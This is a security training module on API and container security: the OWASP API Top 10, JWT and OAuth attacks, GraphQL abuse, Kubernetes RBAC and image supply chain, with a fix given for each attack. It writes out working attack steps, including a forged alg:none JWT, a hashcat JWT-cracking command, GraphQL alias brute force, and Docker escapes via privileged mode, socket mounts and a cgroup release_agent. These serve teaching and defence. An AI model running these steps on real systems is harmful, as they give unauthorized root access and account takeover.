Python · SQL · Web Dev · Java · AI/ML tracks launching soon — your one platform for all of IT

API Security and Container Security

REST and GraphQL API vulnerabilities, JWT attacks, OAuth misconfigurations, Docker container escape, Kubernetes RBAC, and supply chain security.

44 min May 2026

Modern applications are built from APIs and containers. A REST API that exposes user data is just as valuable a target as an HTTPS web page. A container with a misconfigured security context is just as dangerous as a misconfigured server. The attack surface has changed; the attacker's objectives haven't.

This module covers the OWASP API Security Top 10, the specific mechanics of JWT attacks and OAuth misconfiguration, how Docker containers can be escaped via privileged mode or volume mounts, Kubernetes RBAC and how its misconfigurations become privilege escalation paths, and supply chain security for container images — because an attacker who poisons your base image owns everything built on top of it.


OWASP API Security Top 10

The OWASP API Security Top 10 (2023) covers the most common and impactful API-specific vulnerabilities. Many overlap with the Web Application Top 10 but have API-specific nuances in how they manifest and how they're detected.

IDNameCore IssueExample
API1Broken Object Level AuthorizationAccess other users' objects by changing IDGET /api/orders/1042 → returns another user's order
API2Broken AuthenticationWeak or missing authentication mechanismsAPI keys in URL, no token rotation, weak JWTs
API3Broken Object Property Level AuthorizationRead/write sensitive fields not intended for callerPATCH /users/me returns/sets isAdmin field
API4Unrestricted Resource ConsumptionNo rate limiting, quotas, or size limitsUpload 10GB files, call expensive endpoint 10K times/sec
API5Broken Function Level AuthorizationAccess admin-only functions as regular userGET /admin/users works without admin role
API6Unrestricted Access to Sensitive Business FlowsAbuse legitimate API flows at scaleBot buys limited inventory in milliseconds
API7Server Side Request ForgeryServer fetches attacker-controlled URLswebhook URL → 169.254.169.254 → cloud metadata
API8Security MisconfigurationExposed debug endpoints, verbose errors, CORS *GET /api/debug/config returns env vars with secrets
API9Improper Inventory ManagementForgotten old API versions, shadow APIsv1 API still accessible, bypasses v2 security controls
API10Unsafe Consumption of APIsTrust third-party API responses blindlyParse third-party data → SQL injection via trusted data
API security testing checklist:

Authentication:
  [ ] Can I access the API without a token?
  [ ] Does the token expire? What happens with an expired token?
  [ ] Can I reuse a token after logout?
  [ ] Is the token in the URL (visible in logs)? Should be in Authorization header.

Authorization (BOLA / IDOR):
  [ ] Create two test accounts (A and B)
  [ ] Log in as A, capture resource IDs (invoice IDs, order IDs, document IDs)
  [ ] Log in as B, try to access A's resource IDs
  [ ] Succeeds? → IDOR/BOLA

Mass Assignment (API3):
  [ ] PATCH or PUT your own resource
  [ ] Add extra fields in the body: role, isAdmin, accountBalance, verifiedEmail
  [ ] Check if any extra fields are accepted or reflected in response

Rate Limiting (API4):
  [ ] Call the same endpoint 100 times in 10 seconds
  [ ] Does it return 429 (Too Many Requests)? No → missing rate limiting
  [ ] Check: POST /auth/login (brute force path), POST /api/search (resource exhaustion)

Function Level Authorization (API5):
  [ ] Find admin endpoints in API docs, mobile app, JS source
  [ ] Call them as a regular user
  [ ] Common: /api/admin/*, /api/internal/*, /api/v1/debug/*

CORS:
  [ ] Check: Origin: https://evil.com header
  [ ] If response includes Access-Control-Allow-Origin: https://evil.com → CORS misconfiguration
  [ ] If Access-Control-Allow-Origin: * + credentials → critical finding

JWT Attacks — Exploiting Token Vulnerabilities

JSON Web Tokens (JWTs) are the dominant authentication mechanism for REST APIs. A JWT consists of three base64-encoded parts: header (algorithm + type), payload (claims), and signature. The server verifies the signature; if valid, it trusts the claims. Several well-known attacks exploit weaknesses in JWT implementation.

JWT structure:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDA1ODUwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Decoded:
  Header:  {"alg": "HS256", "typ": "JWT"}
  Payload: {"sub": "1234567890", "name": "Alice", "role": "user", "exp": 1700585000}
  Signature: HMAC-SHA256(base64(header) + "." + base64(payload), secret_key)

Attack 1: Algorithm None (CVE-2015-9235)
  Modify header: {"alg": "none", "typ": "JWT"}
  Modify payload: {"sub": "1", "name": "Admin", "role": "admin", "exp": 9999999999}
  Remove signature (just keep the trailing dot)

  Some libraries accept alg:none as valid and skip signature verification!
  Result: Forged token accepted as admin
  Fix: Explicitly whitelist allowed algorithms; reject "none" and "None"

Attack 2: Algorithm Confusion (RS256 → HS256)
  Server signs with RSA private key (RS256 algorithm)
  Server public key is often accessible (e.g., /api/auth/keys.json)

  Attack: Change alg from RS256 to HS256
          Sign the token using the PUBLIC KEY as the HMAC secret

  Vulnerable libraries: When verifying, they check "alg in token is HS256"
                        → use the configured "key" (which is the RSA public key)
                        → verify as HMAC-SHA256 with public key as secret
                        → Attacker also computed the same HMAC → verification passes!

  Fix: Verify algorithm matches what the server expects, not what the token claims

Attack 3: Weak Secret (brute force)
  HS256/HS384/HS512 JWTs signed with a weak secret can be cracked offline

  hashcat -a 0 -m 16500 jwt.txt wordlist.txt
  # jwt.txt format: eyJhbG...(full JWT)
  # Common weak secrets: "secret", "password", "key", "jwt-secret", app name

  Fix: Use secrets.token_hex(32) (256 bits) minimum for HMAC key

Attack 4: JWK Injection
  JWT header can include "jku" (JWK URL) or "jwk" (inline JWK)
  Attacker hosts their own JWK Set at a controlled URL
  If library fetches and trusts this URL without validation:
    → Attacker's own public key is used to verify
    → Attacker signs token with their private key → verification passes

  Fix: Never use "jku" or "jwk" from the token header; use server-configured key only

OAuth 2.0 Misconfigurations

OAuth 2.0 is the standard for delegated authorisation — allowing a third-party application to access a user's resources on another service without sharing the user's password. The complexity of the protocol creates multiple misconfigurations that attackers exploit.

OAuth Authorization Code Flow (correct usage):

1. App redirects: https://auth.example.com/authorize?
     response_type=code
     &client_id=app123
     &redirect_uri=https://myapp.com/callback
     &state=random_csrf_token   ← Anti-CSRF
     &scope=email,profile

2. User authenticates at auth server

3. Auth server redirects to: https://myapp.com/callback?
     code=AUTH_CODE_HERE
     &state=random_csrf_token   ← Verify this matches what you sent

4. App exchanges code for tokens (server-side, not in browser):
   POST /token
   {code: "AUTH_CODE_HERE", client_id: "app123", client_secret: "SECRET"}
   → {access_token: "...", refresh_token: "..."}

5. App uses access_token to call APIs on behalf of user

Common OAuth attacks:

Attack 1: Redirect URI manipulation
  Legitimate redirect_uri: https://myapp.com/callback
  Attacker-controlled redirect_uri: https://evil.com/callback

  Victim authorises → auth code sent to https://evil.com/callback
  Attacker exchanges code → gets access token → accesses victim's account

  Fix: Exact string matching for redirect_uri (no wildcards, no regex)
       Register allowed redirect URIs server-side; reject any mismatch

Attack 2: Missing state parameter (CSRF)
  State: random value generated per-request, verified on callback
  Without state:
    Attacker starts OAuth flow for their own account
    Pauses before step 3 — has a valid auth code for their account
    Tricks victim into visiting the callback URL with attacker's code
    App associates attacker's account with victim's session
    Attacker now controls victim's app account

  Fix: Always generate and verify state parameter

Attack 3: Token leakage via Referer header
  Implicit flow (deprecated) returns token in URL fragment: #access_token=...
  If page includes any third-party resources (analytics, CDN, fonts)
  The Referer header includes the full URL — token leaked to third party

  Fix: Use Authorization Code flow (not implicit); never put tokens in URLs

Attack 4: Open redirect on redirect_uri
  redirect_uri=https://myapp.com/logout?next=https://evil.com
  Auth code in URL → next= redirects to evil.com → code captured

  Fix: Validate redirect_uri against exact allowlist; no open redirects in app

GraphQL Security

GraphQL APIs present security challenges not found in REST: introspection exposes the full schema (a map of every type, field, and operation), query depth is unlimited by default (deeply nested queries can exhaust resources), and batching allows multiple operations in a single request (amplifying brute force attacks).

GraphQL-specific attack vectors:

1. Introspection — Schema discovery
   All GraphQL implementations enable introspection by default
   Query: {__schema{types{name fields{name type{name}}}}}
   Returns: complete schema of every type, field, and mutation

   Attacker uses introspection to:
   - Discover hidden fields (isAdmin, internalId, creditCardNumber)
   - Find mutations that modify sensitive data
   - Build targeted queries without documentation

   Fix: Disable introspection in production
   # Apollo Server:
   new ApolloServer({ introspection: process.env.NODE_ENV !== 'production' })

2. Query depth attacks
   Deeply nested query exhausts server resources:
   { users { friends { friends { friends { friends { id email } } } } } }
   100 levels deep → exponential database queries

   Fix: Depth limiting middleware
   # graphql-depth-limit (npm):
   const depthLimit = require('graphql-depth-limit')
   createYoga({ validationRules: [depthLimit(5)] })

3. Batching / brute force via aliases
   GraphQL allows multiple operations with aliases in one request:
   mutation {
     a1: login(username: "admin", password: "password1") { token }
     a2: login(username: "admin", password: "password2") { token }
     a3: login(username: "admin", password: "password3") { token }
     ... (100 variations in one HTTP request)
   }
   Bypasses rate limiting that counts HTTP requests, not GraphQL operations

   Fix: Rate limit at operation level, not HTTP request level
        Limit number of operations per request (max 10)

4. Information disclosure via error messages
   Invalid query returns detailed error:
   "Cannot query field 'secret' on type 'User'. Did you mean 'secretToken'?"
   → Reveals internal field name

   Fix: Custom error handler that masks internal details in production

5. Authorization bypass via field-level access
   Query: { users { id email internalNotes creditBalance } }
   Application checks: "Can user access /users?" → Yes
   Doesn't check: "Can user access internalNotes or creditBalance?" → No

   Fix: Field-level authorization; every resolver checks authorization
        (not just the root query resolver)

Docker Container Security

Containers provide isolation via Linux namespaces and cgroups — but this isolation has limits. Several common Docker configurations weaken or eliminate container isolation, allowing a compromised container process to escape to the host system.

Container escape techniques:

1. Privileged container (--privileged flag)
   Container has all Linux capabilities + access to all devices
   Effectively root on the host with namespace separation only

   Escape technique:
   # Inside privileged container:
   ls /dev/sda  # Host disk visible
   mkdir /mnt/host
   mount /dev/sda1 /mnt/host     # Mount host filesystem
   chroot /mnt/host              # chroot into host OS
   # Now have full root filesystem access to host

   Detection: docker inspect <id> | jq '.[].HostConfig.Privileged'
   Fix: Never use --privileged in production; use specific capabilities instead

2. Docker socket mount (-v /var/run/docker.sock:/var/run/docker.sock)
   Docker socket = administrative API to Docker daemon
   Process inside container can control the Docker daemon

   Escape:
   # Inside container with socket mounted:
   docker run -v /:/host --rm -it ubuntu chroot /host bash
   # Launched a NEW container mounting the HOST filesystem
   # chroot into it → root on host

   Fix: Never mount Docker socket in containers
        Use Docker-in-Docker (DinD) for CI/CD that needs Docker access

3. Sensitive host directory mounts
   -v /:/host         # Entire host filesystem
   -v /etc:/etc       # Host /etc (modify shadow, crontab, sudoers)
   -v /proc:/host-proc # Host /proc (process info)

   Fix: Mount only specific directories needed; use read-only where possible
        -v /app/data:/data:ro  (read-only mount)

4. Capability abuse (CAP_SYS_ADMIN, CAP_NET_ADMIN)
   CAP_SYS_ADMIN: Near-root capability; allows mounting, namespaces, syscalls
   CAP_NET_ADMIN: Change network interfaces, routing, raw packets

   CAP_SYS_ADMIN escape:
   # Mount a new tmpfs with cgroup release_agent
   unshare -UrmC bash
   mount -t cgroup -o rdma cgroup /tmp/cgroup
   echo 1 > /tmp/cgroup/notify_on_release
   echo /cmd > /tmp/cgroup/release_agent  # /cmd will execute on host
   echo "#!/bin/sh; id > /output" > /cmd  # Host-side command
   # Trigger cgroup release → host executes /cmd as root

   Fix: Drop all capabilities, add only what's needed:
        docker run --cap-drop ALL --cap-add NET_BIND_SERVICE nginx
Minimal-privilege Dockerfile:

# BAD — runs as root by default
FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD ["node", "server.js"]

# GOOD — minimal privilege, non-root user, read-only filesystem
FROM node:20-slim AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

FROM node:20-slim
# Create non-root user
RUN groupadd -r appuser && useradd -r -g appuser appuser

WORKDIR /app
# Copy only built artifacts
COPY --from=builder --chown=appuser:appuser /app/node_modules ./node_modules
COPY --chown=appuser:appuser src/ ./src

# Drop all root privileges
USER appuser

# Read-only root filesystem (mount writable volumes for needed paths)
# docker run --read-only -v /tmp:/tmp app

EXPOSE 3000
CMD ["node", "src/server.js"]

# Run with additional Docker security flags:
docker run \
  --read-only \                    # Immutable filesystem
  --tmpfs /tmp \                   # Writable /tmp in RAM
  --cap-drop ALL \                 # No Linux capabilities
  --cap-add NET_BIND_SERVICE \     # Only if binding port < 1024
  --no-new-privileges \            # Prevent privilege escalation via SUID
  --security-opt=no-new-privileges \
  -u 1001:1001 \                   # Non-root UID:GID
  myapp:latest

Kubernetes RBAC and Security

Kubernetes RBAC (Role-Based Access Control) controls what identities (Service Accounts, users, groups) can do in the cluster. Misconfigured RBAC is one of the most common Kubernetes security findings because the default service account has too many permissions, and "quick fix" role bindings often grant cluster-admin.

Kubernetes RBAC concepts:

Role vs ClusterRole:
  Role:         Namespaced — grants permissions within one namespace
  ClusterRole:  Cluster-wide — grants permissions across all namespaces

RoleBinding vs ClusterRoleBinding:
  RoleBinding:        Binds a Role/ClusterRole to principals in one namespace
  ClusterRoleBinding: Binds a ClusterRole to principals cluster-wide

Dangerous RBAC configurations:

1. cluster-admin bound to default service account:
   ClusterRoleBinding that binds cluster-admin to:
     system:serviceaccounts (all service accounts in all namespaces)
     system:authenticated (any authenticated user)
   → Any compromised pod has full cluster control

2. Wildcard permissions:
   rules:
   - apiGroups: ["*"]    ← all API groups
     resources: ["*"]    ← all resources
     verbs: ["*"]        ← all verbs (get, list, create, delete, update)
   → Effectively cluster-admin

3. pods/exec permission:
   rules:
   - apiGroups: [""]
     resources: ["pods/exec"]
     verbs: ["create"]
   → Can exec into any pod in namespace → steal other pods' secrets/service account tokens

4. secrets verb:
   rules:
   - apiGroups: [""]
     resources: ["secrets"]
     verbs: ["get", "list"]
   → Can read ALL secrets in namespace, including other services' credentials

5. Role escalation via bind/escalate:
   verb "bind" on ClusterRole/Role objects → can grant yourself any role
   verb "escalate" → can create roles with permissions you don't currently have
# Kubernetes RBAC audit commands

# List all ClusterRoleBindings — who has cluster-wide access?
kubectl get clusterrolebindings -o json | \
  jq '.items[] | {name: .metadata.name, subjects: .subjects, role: .roleRef.name}'

# Find all roles with dangerous permissions:
kubectl get roles,clusterroles -A -o json | \
  jq '[.items[] | select(.rules[]?.resources[]? == "*" or .rules[]?.verbs[]? == "*")]'

# What can the default service account do?
kubectl auth can-i --list --as=system:serviceaccount:default:default

# What can a specific service account do?
kubectl auth can-i --list --as=system:serviceaccount:prod:backend-sa -n prod

# Check if we can exec into pods (lateral movement vector):
kubectl auth can-i create pods/exec -n production

# Use Kube-Bench to run CIS Kubernetes Benchmark:
# docker run --rm -v $(pwd):/host aquasec/kube-bench:latest --json > results.json

# Audit default service account tokens (should be auto-mounted=false):
kubectl get pods -A -o json | \
  jq '.items[] | select(.spec.automountServiceAccountToken != false) |
      {name: .metadata.name, namespace: .metadata.namespace}'
# Kubernetes Pod Security Standards

Privileged policy (least secure — avoid):
  Allows all container capabilities; essentially unrestricted

Baseline policy (default for most workloads):
  Disallows: privileged containers, host PID/IPC/network namespaces, hostPath volumes
  Allows: most capabilities needed for normal applications

Restricted policy (most secure):
  Everything in Baseline PLUS:
  - Non-root user required (runAsNonRoot: true)
  - Seccomp profile required (RuntimeDefault or Localhost)
  - All capabilities dropped (ALL)
  - No privilege escalation (allowPrivilegeEscalation: false)

Apply PSA labels to namespaces:
  kubectl label namespace production \
    pod-security.kubernetes.io/enforce=restricted \
    pod-security.kubernetes.io/audit=restricted \
    pod-security.kubernetes.io/warn=restricted

Example secure Pod spec:
  spec:
    securityContext:
      runAsNonRoot: true
      runAsUser: 1001
      seccompProfile:
        type: RuntimeDefault
    containers:
    - name: app
      securityContext:
        allowPrivilegeEscalation: false
        readOnlyRootFilesystem: true
        capabilities:
          drop: ["ALL"]
      resources:
        limits:
          memory: "128Mi"
          cpu: "100m"

Container Image Supply Chain Security

The container image supply chain is the sequence of steps that produces a container image: base image selection, dependency installation, build steps, and registry storage. A compromise at any step affects every deployment built from that image. SolarWinds-style supply chain attacks now target container build pipelines because they provide leverage over thousands of deployed instances from a single compromise.

Supply chain attack vectors:

1. Malicious base image:
   FROM someuser/node-alpine:latest
   Base image from untrusted registry contains backdoor
   All builds inherit the backdoor

   Real example: typosquatting (node-alepin, nod-alpine) on Docker Hub

   Fix:
   - Use official images (docker.io/library/node, not third-party)
   - Pin to digest, not tag: FROM node@sha256:abc123...
     (tag is mutable; digest is cryptographic hash of image layers)
   - Use distroless images (Google): minimal OS, reduced attack surface
     FROM gcr.io/distroless/nodejs20-debian12

2. Dependency confusion / typosquatting:
   npm install left-pad → attacker publishes malicious left-pad
   pip install requets  → typosquat of requests

   Fix:
   - Use package-lock.json / poetry.lock / requirements.txt with pinned hashes
   - Private registry mirror for critical dependencies
   - Verify checksums: pip install --require-hashes

3. Compromised build pipeline:
   CI/CD system with access to registry credentials
   Attacker injects malicious build step

   Fix:
   - Isolated build environments (no persistent credentials)
   - OIDC-based registry auth (short-lived tokens)
   - Build provenance: SLSA framework

4. Outdated base images with CVEs:
   Most breaches don't need supply chain attacks
   Simply use old base image with known CVE

   Fix:
   - Scan images: trivy, Grype, Snyk, Amazon ECR scanning
   - Rebuild base images weekly
   - Alert on critical CVEs in deployed images

Image signing with Cosign (sigstore):
   # Sign image after build:
   cosign sign --key cosign.key registry.io/myapp:v1.0.0

   # Verify before pulling:
   cosign verify --key cosign.pub registry.io/myapp:v1.0.0

   # Kubernetes policy enforcement (Kyverno or OPA Gatekeeper):
   # Reject unsigned images from running in production namespace
# Trivy — container image vulnerability scanning

# Scan a local image:
trivy image myapp:latest

# Output:
2024-01-15T10:30:00.000Z INFO  Scanning image...
2024-01-15T10:30:02.000Z INFO  Detected OS: debian 12.4
2024-01-15T10:30:02.000Z INFO  Detecting Debian vulnerabilities...

myapp:latest (debian 12.4)
=====================================================
Total: 47 (UNKNOWN: 0, LOW: 28, MEDIUM: 12, HIGH: 5, CRITICAL: 2)

CRITICAL:
CVE-2023-4911  libglibc     Glibc 2.37 buffer overflow (Looney Tunables)
CVE-2023-44487 nghttp2      HTTP/2 Rapid Reset DoS

HIGH:
CVE-2023-5156  libssl3      OpenSSL use-after-free
...

# Scan and fail build on CRITICAL findings (CI/CD integration):
trivy image --exit-code 1 --severity CRITICAL,HIGH myapp:latest

# Scan a Dockerfile for misconfigurations:
trivy config ./Dockerfile

# Scan running Kubernetes cluster:
trivy k8s --report all cluster

Interview Questions

Q: What is a JWT algorithm confusion attack and how does it work?
Algorithm confusion (also called key confusion) exploits the fact that some JWT libraries use a single key parameter for both asymmetric and symmetric algorithms. When an API uses RS256 (RSA signature), it signs tokens with an RSA private key and verifies with the RSA public key. The public key is often accessible — published at a JWKS endpoint like /api/.well-known/jwks.json.

The attack: the attacker modifies the token header to change "alg": "RS256" to "alg": "HS256". Then they sign the modified payload using the RSA public key as the HMAC-SHA256 secret. When a vulnerable library verifies this token, it reads "alg": "HS256" from the header, takes its configured verification key (which is the RSA public key), and computes HMAC-SHA256 with that key as the secret. Since the attacker used the same public key to create their signature, the verification passes. The attacker has effectively forged a token — they can set any claims they want (role: admin, user_id: 1).

The fix is to verify that the algorithm in the incoming token matches the algorithm the server expects, rather than accepting the algorithm from the token itself. Libraries should be configured with: "this endpoint only accepts RS256, reject anything else." Never let the token dictate what algorithm is used for verification.
Q: Explain how a Docker privileged container can be used to escape to the host. What's the fix?
A privileged container runs with --privileged, which grants all Linux capabilities and provides full access to all host devices (/dev/*). The container has its own filesystem namespace but can interact with the host's hardware directly. The escape path: the attacker identifies a block device (e.g., /dev/sda1) in the container's /dev directory — this is the host's actual disk partition. They create a mount point, mount the host partition, and use chroot to switch their root to the mounted host filesystem. At that point they have full read/write access to the host OS as root — they can add SSH keys, create new users, install backdoors, or read any file on the host.

The fix: never use --privileged in production containers. Instead, identify the specific Linux capabilities the container actually needs (e.g., NET_BIND_SERVICE to bind to port 80, or AUDIT_WRITE for audit logging) and grant only those with --cap-drop ALL --cap-add NET_BIND_SERVICE. No application should need --privileged. For containers that legitimately need more host access (monitoring agents, security tools), use a stricter alternative like userns-remap to map the container's root to a non-root UID on the host, or use pod security policies/standards to enforce restrictions at the Kubernetes level.
Q: What is the difference between a Kubernetes Role and a ClusterRole? Which is more dangerous if misconfigured?
A Role is namespaced — its permissions apply only within the namespace it's created in. If you give a service account a Role with get/list access to secrets in the "staging" namespace, it can only list secrets in staging, not in production or any other namespace. A ClusterRole is cluster-scoped — when bound via a ClusterRoleBinding, its permissions apply across all namespaces and cluster-scoped resources (nodes, persistent volumes, namespaces themselves).

ClusterRoleBindings are far more dangerous when misconfigured. If a ClusterRole with wildcard permissions (resources: ["*"], verbs: ["*"]) is bound via a ClusterRoleBinding, the bound principal has full control of the entire Kubernetes cluster — equivalent to cluster-admin. If that same role were bound via a RoleBinding in a single namespace, the blast radius is limited to that namespace.

The most dangerous misconfiguration in practice: binding cluster-admin to system:serviceaccounts (all service accounts in all namespaces) or to system:authenticated (any authenticated user). This means any compromised pod — regardless of what it's supposed to do — has cluster-admin access and can read all secrets, exec into any pod, create privileged pods to escape to nodes, or delete all workloads.
Q: How do you secure container images in a CI/CD pipeline?
Container image security in CI/CD requires controls at multiple stages. In the build stage: start from official base images pinned to a specific digest (not a floating tag like :latest), run vulnerability scanning as a build step that fails on Critical/High CVEs (trivy image --exit-code 1 --severity CRITICAL,HIGH), use multi-stage builds to separate build dependencies from the runtime image (the final image contains only what the application needs to run), and ensure the Dockerfile follows security best practices (non-root user, read-only filesystem, dropped capabilities).

In the registry stage: sign images with Cosign so you can verify provenance at deploy time. Store images in a private registry, not Docker Hub public. Enable automatic vulnerability scanning on push (AWS ECR, GCR, and Azure ACR all offer this). Set registry policies that reject images with Critical CVEs. In the deploy stage: use a policy engine (Kyverno or OPA Gatekeeper) in Kubernetes that rejects unsigned images or images with recent high-severity CVEs. Enforce pod security standards (restricted profile) to prevent privileged containers from running. Regularly rebuild base images to incorporate security patches — a weekly automated rebuild pipeline ensures you're not running with months-old base images.
Q: An API endpoint returns user data. How do you test for BOLA (Broken Object Level Authorization)?
BOLA testing requires two distinct test accounts and methodical ID substitution. Step one: create two accounts — Account A and Account B — that represent different users with data of the same type (orders, invoices, documents, profile data). Log in as Account A and perform normal actions: place an order, upload a document, update a profile. Note all the object identifiers returned in responses — order IDs, document IDs, user IDs, account numbers. Step two: log in as Account B, obtain Account B's authentication token. Step three: using Account B's token, attempt to access Account A's objects using the IDs collected in step one. Test all HTTP methods: GET (read), PUT/PATCH (modify), DELETE (delete). Also test combinations: can you access the object via a different endpoint that exposes the same underlying data?

Look for: HTTP 200 responses returning Account A's data when authenticated as Account B (confirmed IDOR), or HTTP 500 errors (suggests the request reached the object but caused an error — still worth investigating). HTTP 403 or 404 is the correct response. Also test with IDs that shouldn't exist — some applications leak information by returning different error messages for "object exists but you can't access it" versus "object doesn't exist." Finally, test with enumerable IDs: if IDs are sequential integers (1, 2, 3...), try IDs near your own to find recent records from other users. If IDs are UUIDs, the attack surface is smaller but still test edge cases.

Error Library — Common Mistakes

Trusting 'alg' claim in JWT header for verification
Why it happens: The JWT header's 'alg' field tells the library what algorithm was used to sign the token. Some libraries use this to select the verification algorithm, meaning the token issuer controls the verification method. An attacker can change 'alg' to 'none' (skip verification entirely) or to HS256 (enabling algorithm confusion attacks against RS256 endpoints).
Fix: Configure the JWT library with the expected algorithm explicitly. When verifying tokens, specify the expected algorithm in code — never derive it from the token. Most modern libraries provide a verify function that accepts an explicit algorithm parameter: jwt.verify(token, publicKey, {algorithms: ['RS256']}). This rejects any token claiming a different algorithm.
Mounting the Docker socket into containers for CI/CD
Why it happens: CI/CD pipelines that need to build Docker images often mount /var/run/docker.sock into the CI runner container to give it access to the Docker daemon. This effectively gives that container full control of the host's Docker daemon — including the ability to launch new containers that mount the host filesystem, which is a trivially exploitable container escape.
Fix: For CI/CD Docker builds, use Docker-in-Docker (DinD) with a separate privileged container for the Docker daemon (isolated from other workloads), kaniko (builds images inside a container without requiring Docker daemon access), or buildah/podman (rootless container builds). If you must use the socket, isolate the CI runners on dedicated nodes, never on production cluster nodes.
Using the Kubernetes default service account without restriction
Why it happens: Every pod in Kubernetes receives a service account token automatically — the default service account token for the namespace — and it's mounted into the pod at /var/run/secrets/kubernetes.io/serviceaccount/token. By default, this token may have more permissions than the pod needs. If the pod is compromised, the attacker has these permissions. Many applications don't need any Kubernetes API access at all.
Fix: For pods that don't need Kubernetes API access (most applications), set automountServiceAccountToken: false in the pod spec. For pods that do need API access, create a dedicated service account with a minimal Role (not ClusterRole), bind it with a RoleBinding (not ClusterRoleBinding), and set automountServiceAccountToken: true only for that account. Audit quarterly: kubectl auth can-i --list --as=system:serviceaccount:namespace:serviceaccountname.
Missing rate limiting on GraphQL operations (not just HTTP requests)
Why it happens: Traditional rate limiting counts HTTP requests. A single GraphQL request can contain multiple operations via aliases or batching. An attacker can include 100 login attempts in a single HTTP request, bypassing an HTTP-level rate limiter that counts one request per batch. This enables brute force attacks at scale through a single HTTP connection.
Fix: Rate limit at the GraphQL operation level, not just the HTTP level. Count each GraphQL query/mutation as a separate operation for rate limiting purposes. Limit the number of operations per request (e.g., max 10 batched operations). Use graphql-rate-limit or implement a custom complexity analysis that assigns costs to operations based on their resource usage. Also implement depth limiting and query complexity analysis to prevent resource exhaustion.
Building container images with secrets hardcoded as ENV variables or RUN steps
Why it happens: Developers add API keys or credentials during build: ENV DATABASE_URL=postgres://prod-user:secret@db:5432/prod or RUN curl -H 'Authorization: Bearer secret-token' .... Even if the final image doesn't expose these through docker inspect, the values are baked into the image layers and visible to anyone who can pull the image or access the registry.
Fix: Never put secrets in Dockerfiles (ENV, ARG, RUN commands). At runtime, inject secrets via environment variables from a secrets manager (AWS Secrets Manager, HashiCorp Vault, Kubernetes Secrets with external secrets operator). For build-time secrets (downloading private packages), use Docker BuildKit's --secret flag which provides the secret only during the specific RUN step and doesn't persist in the image layers.

🎯 Key Takeaways

  • BOLA (API1) — Broken Object Level Authorization — is the most common and impactful API vulnerability. Test with two accounts: can Account B access Account A's resources by substituting object IDs?
  • JWT algorithm confusion attacks change "alg": "RS256" to "alg": "HS256" in the header, then sign with the public key as the HMAC secret. Fix: specify expected algorithm explicitly in the verification call; never derive it from the token.
  • OAuth redirect_uri must be validated with exact string matching. Any mismatch should reject the authorization. Wildcards or substring matching enable authorization code theft to attacker-controlled redirect URIs.
  • Docker --privileged containers can mount host block devices and chroot into the host filesystem. Never use --privileged; grant specific capabilities with --cap-drop ALL --cap-add [specific capability].
  • Mounting the Docker socket (/var/run/docker.sock) into a container grants it full control of the host's Docker daemon — equivalent to root on the host. Use kaniko or BuildKit for CI/CD image builds instead.
  • Kubernetes ClusterRoleBindings with wildcard permissions or binding to system:serviceaccounts are the most dangerous RBAC misconfigurations — they give every compromised pod cluster-admin access.
  • Most pods don't need Kubernetes API access. Set automountServiceAccountToken: false and use pod security standards (restricted profile) by default. Add permissions only when explicitly needed.
  • GraphQL introspection should be disabled in production — it provides attackers a complete map of every type, field, and mutation. Rate limit at the operation level, not just HTTP request level.
  • Container image supply chain security: pin base images to SHA256 digests (not floating tags), scan with Trivy on every build, sign with Cosign, and enforce signature verification at deploy time via Kyverno.
  • Kubernetes pod security standards (restricted profile) enforce non-root user, dropped capabilities, no privilege escalation, seccomp profile, and read-only root filesystem. Apply to all namespaces; exceptions require explicit justification.

Up Next — Module 20
Secure Coding Practices

In Module 20, you learn to write code that is secure by design: input validation patterns, output encoding, parameterised queries, secrets management in code, dependency management, security testing in CI/CD, and threat modelling as a development practice. This module bridges development and security — making security the developer's job, not an afterthought.

Continue to Module 20 →
Share

Discussion

0

Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.

Continue with GitHub
Loading...